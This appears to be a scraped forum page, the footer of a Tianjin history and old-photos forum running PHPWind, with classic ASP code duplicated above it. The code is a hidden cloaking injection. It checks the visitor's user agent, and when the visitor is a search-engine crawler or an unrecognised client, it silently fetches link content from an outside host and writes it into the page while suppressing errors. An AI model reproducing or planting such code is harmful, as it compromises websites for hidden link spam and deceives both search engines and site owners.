%
Function getHTTPPage(url)
dim objXML
set objXML=server.createobject("MSXML2.XMLHTTP")'
objXML.open "GET",url,false'
objXML.send()'
If objXML.readystate<>4 then '
exit function
End If
getHTTPPage=BytesToBstr(objXML.responseBody)'
set objXML=nothing'
if err.number<>0 then err.Clear
End Function
Function BytesToBstr(body)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function Getlink()
On Error Resume Next
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",")
for agenti=lbound(allow_agent) to ubound(allow_agent)
if instr(user_agent,allow_agent(agenti))>0 then
canre=1
end if
next
if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then
canre=0
end if
if canre=0 then
Dim Url,Html
Url = "http://www.57tao.net/other/lianjie1.asp"
Html = getHTTPPage(Url)
end if
response.write(Html)
End Function
Call Getlink()
%><%
Function getHTTPPage(url)
dim objXML
set objXML=server.createobject("MSXML2.XMLHTTP")'
objXML.open "GET",url,false'
objXML.send()'
If objXML.readystate<>4 then '
exit function
End If
getHTTPPage=BytesToBstr(objXML.responseBody)'
set objXML=nothing'
if err.number<>0 then err.Clear
End Function
Function BytesToBstr(body)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function Getlink()
On Error Resume Next
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",")
for agenti=lbound(allow_agent) to ubound(allow_agent)
if instr(user_agent,allow_agent(agenti))>0 then
canre=1
end if
next
if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then
canre=0
end if
if canre=0 then
Dim Url,Html
Url = "http://www.57tao.net/other/lianjie1.asp"
Html = getHTTPPage(Url)
end if
response.write(Html)
End Function
Call Getlink()
%>
天津卫论坛 天津卫 天津历史 天津老照片 老照片 天津文化 - Powered by PHPWind